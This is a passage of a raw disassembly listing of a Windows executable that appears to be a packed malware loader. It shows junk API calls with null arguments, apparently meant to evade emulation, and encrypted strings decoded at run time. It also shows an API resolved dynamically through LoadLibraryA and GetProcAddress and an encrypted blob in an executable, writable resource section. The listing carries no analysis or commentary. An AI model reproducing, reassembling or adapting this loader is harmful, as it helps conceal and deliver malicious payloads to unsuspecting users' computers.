loc_15074:				; CODE XREF: sub_1505C+Dj sub_1505C+Fj
		pop	ecx
		pop	ebp
		retn
sub_1505C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_15078	proc near		; DATA XREF: CODE:00015110o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_150A1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, offset dword_176EC
		call	sub_134D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_150A8


loc_150A0:				; CODE XREF: sub_15078+2Ej
		retn
; ---------------------------------------------------------------------------


loc_150A1:				; DATA XREF: sub_15078+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_150A0
; ---------------------------------------------------------------------------


loc_150A8:				; CODE XREF: sub_15078:loc_150A0j
					; DATA XREF: sub_15078+23o
		pop	ebp
		retn
sub_15078	endp

; ---------------------------------------------------------------------------
		align 4
dword_150AC	dd 0Ch				dd offset off_150B4
off_150B4	dd offset loc_13AD8	; DATA XREF: CODE:000150B0o
		dd offset sub_13AA8
		dd offset sub_138CC
		dd offset sub_13878
		dd offset sub_13B10
		dd offset sub_13AE0
		dd offset sub_13B70
		dd offset sub_13B40
		dd offset sub_13E08
		dd offset sub_13DD8
		dd offset sub_13E40
		dd offset sub_13E10
		dd offset sub_147FC
		dd offset sub_147CC
		dd offset sub_14ABC
		dd offset sub_14A8C
		dd offset sub_14AFC
		dd offset sub_14ACC
		dd offset sub_14E88
		dd offset sub_14E58
		dd offset sub_14EC0
		dd offset sub_14E90
		align 10h
		dd offset sub_15078
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		xor	eax, eax
		mov	[ebp-1Ch], eax
		mov	[ebp-20h], eax
		mov	[ebp-14h], eax
		mov	[ebp-18h], eax
		mov	eax, offset dword_150AC
		call	sub_13A64
		xor	eax, eax
		push	ebp
		push	offset loc_15201
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	offset dword_176F4
		push	0
		push	0
		call	ExtractAssociatedIconA	; ExtractAssociatedIconA
		push	0
		push	0
		push	0
		call	SetHandleInformation	; SetHandleInformation
		call	GetLastError
		call	sub_1505C
		call	sub_13F18
		lea	eax, [ebp-18h]
		call	sub_13EE0
		mov	edx, [ebp-18h]
		lea	ecx, [ebp-14h]
		mov	eax, offset dword_15218
		call	sub_13D74
		mov	eax, [ebp-14h]
		call	sub_13650
		push	eax
		call	LoadLibraryA	; LoadLibraryA
		mov	ds:dword_176F0,	eax
		lea	eax, [ebp-20h]
		call	sub_13EE0
		mov	edx, [ebp-20h]
		lea	ecx, [ebp-1Ch]
		mov	eax, offset dword_15230
		call	sub_13D74
		mov	eax, [ebp-1Ch]
		call	sub_13650
		push	eax
		mov	eax, ds:dword_176F0
		push	eax
		call	GetProcAddress	; GetProcAddress
		mov	edx, ds:off_160D0
		mov	[edx], eax
		push	0
		push	offset sub_14F44
		push	0Ah
		push	0
		mov	eax, ds:off_160D0
		mov	eax, [eax]
		call	eax
		mov	eax, ds:dword_176F0
		push	eax
		call	FreeLibrary_0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_15208


loc_151F3:				; CODE XREF: CODE:00015206j
		lea	eax, [ebp-20h]
		mov	edx, 4
		call	sub_134FC
		retn
; ---------------------------------------------------------------------------


loc_15201:				; DATA XREF: CODE:00015135o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_151F3
; ---------------------------------------------------------------------------


loc_15208:				; CODE XREF: CODE:00015200j
					; DATA XREF: CODE:000151EEo
		call	sub_133E0
; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 0Ch
dword_15218	dd 800B2905h, 81D7DC07h, 0AE402AF0h, 0		dd 0FFFFFFFFh, 12h
dword_15230	dd 830C222Bh, 0DC97D530h, 0A74F3CABh, 16A71645h, 0A0Ah
					; DATA XREF: CODE:000151A1o
		dd 6Fh dup(0)
CODE		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00000104 (	260.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00004800
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 16000h
; UINT uExitCode
uExitCode	dd 0			; DATA XREF: sub_132C8+Ar sub_13324+2w ...
dword_16004	dd 0		byte_16008	db 2			; DATA XREF: sub_138CC+Dw
		db 8Dh,	40h, 0
word_1600C	dw 1332h		; DATA XREF: sub_12C54+6r
					; sub_12C54:loc_12CCCr	...
		dw 0C08Bh
byte_16010	db 0			; DATA XREF: sub_12D30r sub_12D4Cr ...
		db 8Dh,	40h, 0
byte_16014	db 0			; DATA XREF: sub_131A8-336r
					; sub_131A8:loc_12EADr
		db 8Dh,	40h, 0
byte_16018	db 0			; DATA XREF: sub_13354:loc_133B5r
		db 8Dh,	40h, 0
dword_1601C	dd 0		dword_16020	dd 0		off_16024	dd offset sub_12160	; DATA XREF: sub_127B4+Ar
					; sub_12804+3Fr
off_16028	dd offset sub_1230C	; DATA XREF: sub_127E4+5r
					; sub_12804+26r
off_1602C	dd offset sub_126E8	; DATA XREF: sub_12804+Dr
byte_16030	db 0			; DATA XREF: sub_12860+36r
aRsu		db 'ËÌÈÉ×ÏÈÍÎÛØÚÙÊÜÝÞßàáã',0
aFxn@		db 'äå@',0
; char Caption[]
Caption		db 'Error',0            ; DATA XREF: sub_13354+6Co
		dw 0C08Bh
; char Text[]
Text		db 'Runtime error     at 00000000',0 ; DATA XREF: sub_132C8+3o
					; sub_13354+32o ...
		dw 0C08Bh
byte_16074	db 30h			; DATA XREF: sub_132C8+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
; DWORD	TlsIndex
TlsIndex	dd 0FFFFFFFFh		; DATA XREF: sub_139D4+Cr
					; sub_139D4+37r ...
dword_16088	dd 0		dword_1608C	dd 0		dword_16090	dd 0		dword_16094	dd 0				align 10h
dword_160A0	dd 1				dd 10h,	2, 20h,	4, 40h,	4, 40h
off_160C0	dd offset dword_176AC	; DATA XREF: sub_14B48+2BEr
off_160C4	dd offset dword_17670	; DATA XREF: sub_14B48+293r
off_160C8	dd offset dword_17694	; DATA XREF: sub_14EC8+18r
off_160CC	dd offset dword_17680	; DATA XREF: sub_14B48+96r
off_160D0	dd offset dword_176A4	; DATA XREF: CODE:000151BFr
					; CODE:000151D2r
off_160D4	dd offset dword_1766C	; DATA XREF: sub_14B48+2CDr
off_160D8	dd offset dword_176B4	; DATA XREF: sub_14F44+E2r
off_160DC	dd offset dword_17684	; DATA XREF: sub_14B48+189r
					; sub_14B48+1F8r ...
off_160E0	dd offset dword_17690	; DATA XREF: sub_14B48+110r
off_160E4	dd offset dword_1767C	; DATA XREF: sub_14B48+CEr
off_160E8	dd offset dword_17674	; DATA XREF: sub_14B48+15Cr
off_160EC	dd offset dword_1769C	; DATA XREF: sub_14EC8+46r
off_160F0	dd offset dword_17698	; DATA XREF: sub_14EC8+56r
off_160F4	dd offset dword_176A0	; DATA XREF: sub_14EC8+2Er
off_160F8	dd offset dword_1768C	; DATA XREF: sub_14B48+23Fr
off_160FC	dd offset dword_17678	; DATA XREF: sub_14B48+F7r
off_16100	dd offset dword_176B0	; DATA XREF: sub_14EC8+6Cr
		align 100h
DATA		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 000006F9 (   1785.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00004A00
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 17000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
dword_17000	dd ?		dword_17004	dd ?		dword_17008	dd ?							; sub_12860+16r
dword_1700C	dd ?							; CODE:00013118r
dword_17010	dd ?							; sub_12D4C+16r ...
dword_17014	dd ?							; CODE:00013100r ...
dword_17018	dd ?							; sub_133E0+B7r
dword_1701C	dd ?		dword_17020	dd ?		byte_17024	db ?			; DATA XREF: sub_13288+33w
		align 4
dword_17028	dd ?		dword_1702C	dd ?		dword_17030	dd ?		byte_17034	db ?			; DATA XREF: sub_13354+1r
byte_17035	db ?			; DATA XREF: sub_11904+1Cr
					; sub_11904:loc_119B8r	...
byte_17036	db ?			; DATA XREF: sub_138CC+28w
		align 4
dword_17038	dd ?							; sub_13878+19o
word_1703C	dw ?			; DATA XREF: sub_138CC+4Cw
		align 10h
		dd 71h dup(?)
dword_17204	dd ?							; sub_13878+23o
word_17208	dw ?			; DATA XREF: sub_13354+Ar
					; sub_138CC+55w
		align 10h
dword_17210	dd ?				align 10h
dword_17220	dd ?				dd 6Bh dup(?)
dword_173D0	dd ?		word_173D4	dw ?			; DATA XREF: sub_138CC+5Ew
		align 4
		dd 71h dup(?)
dword_1759C	dd ?		dword_175A0	dd ?							; sub_12018+CCw ...
dword_175A4	dd ?		dword_175A8	dd ?							; sub_138CC+B2w ...
byte_175AC	db ?			; DATA XREF: sub_11904+A0w
					; sub_11904:loc_119D3r	...
		align 10h
dword_175B0	dd ?							; sub_115C8+99w ...
; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_11904+12o
					; sub_11904+25o ...
dword_175CC	dd ?							; sub_110FC+3Cw ...
dword_175D0	dd ?							; sub_111E4+22r ...
dword_175D4	dd ?							; sub_113C8+51o ...
		dd 3 dup(?)
dword_175E4	dd 4 dup(?)						; sub_1172C+12o ...
dword_175F4	dd ?		dword_175F8	dd ?				align 10h
dword_17600	dd ?							; sub_11ADC+4r	...
dword_17604	dd ?		dword_17608	dd ?							; sub_11EA8+2Er ...
; HLOCAL hMem
hMem		dd ?			; DATA XREF: sub_11904+59w
					; sub_11904+5Er ...
dword_17610	dd ?							; sub_119DC+90o ...
		align 10h
dword_17620	dd ?		dword_17624	dd ?							; sub_13180+2r
dword_17628	dd ?		dword_1762C	dd ?		dword_17630	dd ?				dd 6 dup(?)
byte_1764C	db ?			; DATA XREF: sub_13A18r
		align 10h
dword_17650	dd ?							; sub_13A64+16r ...
dword_17654	dd ?							; CODE:loc_13AD8w
dword_17658	dd ?		dword_1765C	dd ?		dword_17660	dd ?		dword_17664	dd ?		dword_17668	dd ?		dword_1766C	dd ?							; DATA:off_160D4o
dword_17670	dd ?							; sub_1434C+2D9w ...
dword_17674	dd ?							; DATA:off_160E8o
dword_17678	dd ?							; DATA:off_160FCo
dword_1767C	dd ?							; DATA:off_160E4o
dword_17680	dd ?							; DATA:off_160CCo
dword_17684	dd ?							; DATA:off_160DCo
dword_17688	dd ?							; sub_13F18+C3r ...
dword_1768C	dd ?							; DATA:off_160F8o
dword_17690	dd ?							; DATA:off_160E0o
dword_17694	dd ?							; DATA:off_160C8o
dword_17698	dd ?							; DATA:off_160F0o
dword_1769C	dd ?							; DATA:off_160ECo
dword_176A0	dd ?							; DATA:off_160F4o
dword_176A4	dd ?		dword_176A8	dd ?							; sub_13F18+2B2r ...
dword_176AC	dd ?							; DATA:off_160C0o
dword_176B0	dd ?							; DATA:off_16100o
dword_176B4	dd ?							; DATA:off_160D8o
dword_176B8	dd ?		dword_176BC	dd ?		dword_176C0	dd ?		dword_176C4	dd ?		dword_176C8	dd ?		dword_176CC	dd ?		dword_176D0	dd ?							; sub_14810+F8r
; HMODULE hModule
hModule		dd ?			; DATA XREF: sub_14810+98w
					; sub_14810+BEr ...
dword_176D8	dd ?		dword_176DC	dd ?		dword_176E0	dd ?		dword_176E4	dd ?							; sub_14F44+33r ...
dword_176E8	dd ?							; sub_14F44+45r ...
dword_176EC	dd ?							; sub_14F44+50o ...
dword_176F0	dd ?							; CODE:000151B4r ...
dword_176F4	dd 43h dup(?)	BSS		ends

;
; Imports from kernel32.dll
;
; Section 4. (virtual address 00008000)
; Virtual size			: 0000042A (   1066.)
; Section size in file		: 00000600 (   1536.)
; Offset to raw	data for section: 00004A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Externs
; _idata
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_DeleteCriticalSection:dword	; DATA XREF: DeleteCriticalSectionr
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_LeaveCriticalSection:dword ; DATA XREF: LeaveCriticalSectionr
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_EnterCriticalSection:dword ; DATA XREF: EnterCriticalSectionr
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_InitializeCriticalSection:dword
					; DATA XREF: InitializeCriticalSectionr
; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
		extrn __imp_VirtualFree:dword ;	DATA XREF: VirtualFreer
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
		extrn __imp_VirtualAlloc:dword ; DATA XREF: VirtualAllocr
; HLOCAL __stdcall LocalFree(HLOCAL hMem)
		extrn __imp_LocalFree:dword ; DATA XREF: LocalFreer
; HLOCAL __stdcall LocalAlloc(UINT uFlags, SIZE_T uBytes)
		extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr
; DWORD	__stdcall GetVersion()
		extrn __imp_GetVersion:dword ; DATA XREF: GetVersionr
; DWORD	__stdcall GetCurrentThreadId()
		extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr
; LCID __stdcall GetThreadLocale()
		extrn __imp_GetThreadLocale:dword ; DATA XREF: GetThreadLocaler
; void __stdcall GetStartupInfoA(LPSTARTUPINFOA	lpStartupInfo)
		extrn __imp_GetStartupInfoA:dword ; DATA XREF: GetStartupInfoAr
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize)
		extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr
; int __stdcall	GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData)
		extrn __imp_GetLocaleInfoA:dword ; DATA	XREF: GetLocaleInfoAr
; LPSTR	__stdcall GetCommandLineA()
		extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
		extrn __imp_FreeLibrary:dword ;	DATA XREF: FreeLibraryr
; void __stdcall ExitProcess(UINT uExitCode)
		extrn __imp_ExitProcess:dword ;	DATA XREF: ExitProcessr
; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,	LPDWORD	lpNumberOfBytesWritten,	LPOVERLAPPED lpOverlapped)
		extrn __imp_WriteFile:dword ; DATA XREF: WriteFiler
; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo)
		extrn __imp_UnhandledExceptionFilter:dword
					; DATA XREF: UnhandledExceptionFilterr
		extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments)
		extrn __imp_RaiseException:dword ; DATA	XREF: RaiseExceptionr
; HANDLE __stdcall GetStdHandle(DWORD nStdHandle)
		extrn __imp_GetStdHandle:dword ; DATA XREF: GetStdHandler

;
; Imports from user32.dll
;
; int __stdcall	GetKeyboardType(int nTypeFlag)
		extrn __imp_GetKeyboardType:dword ; DATA XREF: GetKeyboardTyper
; int __stdcall	MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption,	UINT uType)
		extrn __imp_MessageBoxA:dword ;	DATA XREF: MessageBoxAr
; LPSTR	__stdcall CharNextA(LPCSTR lpsz)
		extrn __imp_CharNextA:dword ; DATA XREF: CharNextAr

;
; Imports from advapi32.dll
;
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey,	LPCSTR lpValueName, LPDWORD lpReserved,	LPDWORD	lpType,	LPBYTE lpData, LPDWORD lpcbData)
		extrn __imp_RegQueryValueExA:dword ; DATA XREF:	RegQueryValueExAr
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY	phkResult)
		extrn __imp_RegOpenKeyExA:dword	; DATA XREF: RegOpenKeyExAr
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn __imp_RegCloseKey:dword ;	DATA XREF: RegCloseKeyr

;
; Imports from kernel32.dll
;
; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue)
		extrn __imp_TlsSetValue:dword ;	DATA XREF: TlsSetValuer
; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex)
		extrn __imp_TlsGetValue:dword ;	DATA XREF: TlsGetValuer
; HLOCAL __stdcall LocalAlloc_0(UINT uFlags, SIZE_T uBytes)
		extrn __imp_LocalAlloc_0:dword ; DATA XREF: LocalAlloc_0r
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn __imp_GetModuleHandleA:dword ; DATA XREF:	GetModuleHandleAr

;
; Imports from kernel32.dll
;
; BOOL __stdcall SetHandleInformation(HANDLE hObject, DWORD dwMask, DWORD dwFlags)
		extrn __imp_SetHandleInformation:dword ; DATA XREF: SetHandleInformationr
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn __imp_LoadLibraryA:dword ; DATA XREF: LoadLibraryAr
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
		extrn __imp_GetProcAddress:dword ; DATA	XREF: GetProcAddressr
; DWORD	__stdcall GetLastError()
		extrn __imp_GetLastError:dword ; DATA XREF: GetLastErrorr
; BOOL __stdcall FreeLibrary_0(HMODULE hLibModule)
		extrn __imp_FreeLibrary_0:dword	; DATA XREF: FreeLibrary_0r

;
; Imports from shell32.dll
;
; HICON	__stdcall ExtractAssociatedIconA(HINSTANCE hInst, LPSTR	lpIconPath, LPWORD lpiIcon)
		extrn __imp_ExtractAssociatedIconA:dword
					; DATA XREF: ExtractAssociatedIconAr

; Section 5. (virtual address 00009000)
; Virtual size			: 00000008 (	  8.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00005000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 19000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 2 dup(?)		; DATA XREF: .rdata:TlsDirectoryo
TlsEnd		dd 7Eh dup(?)		; DATA XREF: .rdata:TlsEnd_ptro
_tls		ends

; Section 6. (virtual address 0000A000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00005000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 1A000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd offset TlsEnd
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
		align 200h
_rdata		ends

; Section 7. (virtual address 0000B000)
; Virtual size			: 000004C4 (   1220.)
; Section size in file		: 00000600 (   1536.)
; Offset to raw	data for section: 00005200
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_reloc		segment	para public 'DATA' use32
		assume cs:_reloc
		;org 1B000h
		dd 1000h, 0E4h,	300A3002h, 301A3012h, 302A3022h, 303A3032h
		dd 304A3042h, 305A3052h, 306A3062h, 307A3072h, 308A3082h
		dd 30BE3092h, 30CE30C6h, 30DE30D6h, 30EE30E6h, 310130F6h
		dd 3139312Eh, 320F3208h, 341A33A3h, 34C43466h, 355334DAh
		dd 361135B7h, 36723663h, 373F3692h, 38EE38B2h, 3917390Ch
		dd 392A3922h, 393E3934h, 395E3948h, 39723964h, 39A03987h
		dd 39B439A6h, 39C239BAh, 39E439D4h, 39FF39F3h, 3A123A07h
		dd 3A253A18h, 3A4F3A2Ah, 3A633A59h, 3A773A6Dh, 3A983A8Ah
		dd 3AB43AAEh, 3AC63ABCh, 3AED3AE2h, 3B2A3B12h, 3B973B76h
		dd 3BF23BA1h, 3C583C08h, 3C9C3C78h, 3DF83DE3h, 3E6D3E61h
		dd 3EB33EAAh, 3EC73EBCh, 3ED73ED0h, 3EED3EE6h, 3F683F0Fh
		dd 3FFA3F70h, 2000h, 0F0h, 302B3026h, 30B83030h, 30DD30C2h
		dd 314830E6h, 316B3151h, 319D3191h, 31D831A5h, 321C320Eh
		dd 3268325Fh, 32803278h, 328F3286h, 329B3296h, 32BD32A4h
		dd 32E432C6h, 32F232EAh, 331E3318h, 33483330h, 335C3354h
		dd 338C337Dh, 33BC339Ch, 340B33DBh, 34193413h, 3452341Fh
		dd 34AB3486h, 34C134BBh, 353434C9h, 3542353Ch, 35553548h
		dd 35C4355Bh, 35D435CCh, 35E035DAh, 35EE35E8h, 35FB35F4h
		dd 36C83605h, 371436F6h, 37283720h, 378F3789h, 37C03797h
		dd 381337EBh, 3845382Ch, 386B3856h, 38983878h, 3C1E3B11h
		dd 3C6D3C5Dh, 3CA13C83h, 3CCE3CB7h, 3D1D3CE3h, 3D463D32h
		dd 3D643D4Eh, 3D8A3D7Ch, 3DDA3DBEh, 3DFA3DE6h, 3E173E04h
		dd 3E743E47h, 3EAF3E7Dh, 3EED3EB8h, 3F163EF4h, 3F8B3F63h
		dd 3000h, 124h,	30FB30D3h, 311A3102h, 3170313Ch, 31833178h
		dd 31CA31B2h, 323B3222h, 328E328Ah, 32983294h, 32A4329Dh
		dd 32B232AAh, 32CC32BDh, 330032D4h, 3328330Bh, 33573332h
		dd 336B3361h, 33793373h, 33A23387h, 33C133B7h, 33E633C6h
		dd 340D33EBh, 342D3421h, 34903446h, 349E3499h, 34CE34C1h
		dd 37213657h, 37723732h, 378D3779h, 37B437ABh, 37C737C0h
		dd 385D3814h, 388B387Fh, 389C3892h, 38BD38A6h, 38DB38CEh
		dd 38E638E2h, 38F038ECh, 38FD38F6h, 391B3901h, 392D3924h
		dd 39433939h, 397F396Ah, 399A3990h, 39AA39A2h, 39BA39B2h
		dd 3A0C39E2h, 3A1F3A1Ah, 3A483A38h, 3A6A3A59h, 3A7B3A76h
		dd 3A873A80h, 3A983A8Eh, 3ABB3AAFh, 3ADA3AC8h, 3AF33AE7h
		dd 3B123B00h, 3B223B1Ah, 3B323B2Ah, 3B473B3Ah, 3B603B53h
		dd 3D983B72h, 3DDF3DBCh, 3DF83DEBh, 3E173E0Ah, 3E303E23h
		dd 3E653E42h, 3EEB3EBDh, 3F443F2Bh, 3F963F6Dh, 3FC53FB2h
		dd 3FE23FDDh, 3FF5h, 4000h, 12Ch, 3012300Dh, 303D3025h
		dd 30553042h, 3072306Dh, 309D3085h, 30B530A2h, 30D230CDh
		dd 30FD30E5h, 31153102h, 3132312Dh, 315D3145h, 31753162h
		dd 3192318Dh, 31BD31A5h, 31CC31C2h, 335F31D9h, 33A13378h
		dd 33E633CAh, 341133F9h, 34293416h, 34463441h, 34713459h
		dd 34893476h, 34A634A1h, 34D134B9h, 34E934D6h, 35063501h
		dd 35313519h, 35493536h, 35663561h, 35913579h, 35A93596h
		dd 35C635C1h, 35F135D9h, 360635F6h, 36263621h, 363A3630h
		dd 37D33647h, 37EC37DFh, 383037FEh, 38A93891h, 38CF38BCh
		dd 390A38DAh, 3937390Fh, 3A6939A7h, 3A9F3A93h, 3ABE3AACh
		dd 3AD33AC6h, 3AEC3ADFh, 3B3A3AFEh, 3BDF3B6Eh, 3C173BF7h
		dd 3C593C40h, 3CD23CA5h, 3D883D41h, 3DDC3DB5h, 3E073DF6h
		dd 3E353E16h, 3E6B3E5Fh, 3E8A3E78h, 3EA33E97h, 3EC23EB0h
		dd 3EE13EDBh, 3EF73EF1h, 3F0F3F09h, 3F353F1Fh, 3F663F54h
		dd 3F793F73h, 3F8B3F85h, 3FA13F95h, 3FBF3FA7h, 3FD63FCCh
		dd 3FF5h, 5000h, 5Ch, 3027300Fh, 307F3038h, 309C308Ah
		dd 30B430B0h, 30BC30B8h, 30C430C0h, 30CC30C8h, 30D430D0h
		dd 30DC30D8h, 30E430E0h, 30EC30E8h, 30F430F0h, 30FC30F8h
		dd 31043100h, 31103108h, 31363129h, 31773141h, 31A2318Fh
		dd 31C131B5h, 31D331CAh, 31EF31DCh, 6000h, 30h,	30283024h
		dd 30C0302Ch, 30C830C4h, 30D030CCh, 30D830D4h, 30E030DCh
		dd 30E830E4h, 30F030ECh, 30F830F4h, 310030FCh, 0A000h
		dd 14h,	30043000h, 300C3008h, 50h dup(0)
_reloc		ends

; Section 8. (virtual address 0000C000)
; Virtual size			: 0000D400 (  54272.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00005800
; Flags	F0000060: Text Data Shareable Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 1C000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 2 dup(0)
		dd 4, 10000h, 0Ah, 80000018h, 2	dup(0)
		dd 4, 1, 80000058h, 80000030h, 2 dup(0)
		dd 4, 10000h, 0
		dd 48h,	0C060h,	6355h, 4E4h, 0
		dd 4C0003h, 450049h, 0EE79C1D3h, 0FEE40B1Ch, 0C32CDE84h
		dd 73C97708h, 0FE544B7Dh, 8C54A6C6h, 8130F4EBh,	0E2942EB3h
		dd 0FC05EB5Fh, 80310330h, 421E5BDCh, 7EB3F883h,	44F510F4h
		dd 55F6B84Dh, 0DEDEBBCFh, 0BB943FC7h, 3C20D168h, 42C90681h
		dd 9F5736A2h, 5C40E99Bh, 0BCA4D99h, 0B039B216h,	76ACBB36h
		dd 5C73BC55h, 68EE608Bh, 57D8DE27h, 3B724BD8h, 0D3805808h
		dd 0F6CD031Ah, 0D73F1988h, 0F26FBEE2h, 0E57867A1h, 8211E9ACh
		dd 0F442D1A6h, 0C79FEA56h, 0C90DD7C7h, 0A00F2D67h, 0F839D11Ch
		dd 0E8BD5E17h, 467330ABh, 0A025CF1Fh, 0F70F34F4h, 9F8CAC6h
		dd 45D32B76h, 0CD8634FEh, 86375C62h, 2010DADDh,	0BAE9469Dh
		dd 6D0804BDh, 0F2C8F9B4h, 4EE2A1DAh, 1B79CC23h,	52DFE850h
		dd 0F5C6FCDDh, 0F8F1A49h, 0E62FAA63h, 0F3671A2Fh, 6CE31B86h
		dd 0EF2D198Fh, 20DB93F2h, 54593E0Ah, 0CA24F77Eh, 0CDF06575h
		dd 272A76BDh, 0F0AD344Bh, 0A43B5E9Bh, 539595C9h, 0A7EA4026h
		dd 0DFD94A24h, 0CFF8446Ch, 1ACC6037h, 0F8E341BAh, 3B3A1857h
		dd 0F83EC2E6h, 0B502CEA1h, 48B5DE0Ch, 0EF77D239h, 0B1E805EAh
		dd 22468B92h, 6EA8157Bh, 3545A13Fh, 0B04C45A3h,	9434CA1Eh
		dd 4278DE35h, 85F06642h, 78DF194Ch, 78F46C56h, 695FE5F0h
		dd 0A09A929Fh, 0DFD6E11Dh, 0FA832A10h, 56451C39h, 44E25459h
		dd 6027C0E7h, 4CF2AA58h, 0EE2CDA8h, 0CC35E917h,	0CED864B6h
		dd 98B9EAE1h, 5BA56637h, 0BCC3ECD4h, 26F8EBC4h,	0B1F83E0Eh
		dd 569F0BDEh, 0E9DB239Bh, 0DC65E8FAh, 22E28AEDh, 99A7460h
		dd 10A8B884h, 85905C3Dh, 4EF1724Bh, 74E5F2BAh, 0BB625BA9h
		dd 0BA76776Ch, 74A058C3h, 0DA9AA2CBh, 714C6D0Fh, 85E0F14Bh
		dd 816726D4h, 8849E8C8h, 7674B84Bh, 48E65C45h, 6C9B637Eh
		dd 5028B5D0h, 0A93079A6h, 0CF442E28h, 0F7AB67Ch, 72B254B8h
		dd 27A87673h, 38896D9Eh, 60C42E23h, 483D939Dh, 0F8DC2F8Fh
		dd 0ABBAD646h, 0A889D4A4h, 0CC39B9EAh, 0CFA7B818h, 32D6118h
		dd 0CF1842A3h, 0CE3F3488h, 46B6D9B3h, 2DD93BB2h, 0ED7F5EB9h
		dd 773BADh, 32BBC235h, 0CD72564Fh, 5BACAF4Dh, 495201DFh
		dd 0DF851530h, 83886520h, 5886B3Bh, 0A8FF95B1h,	21A2CE13h
		dd 0E2F6839h, 65B8B281h, 743CA97Dh, 0ABD2B17Eh,	64C9158Dh
		dd 0FFEA6D16h, 0E2042B32h, 20ABB36Eh, 916AB065h, 7F20366Eh
		dd 0A091347h, 288559FFh, 0A743BEE5h, 9418BAF1h,	0A8992EEBh
		dd 437F4E6Ah, 5A4F324Eh, 388FA26Ch, 72C0F68Fh, 6D9C6A4Ah
		dd 94BF694Bh, 0D1B769FEh, 0CD9BD5A8h, 7545D050h, 7BB913BDh
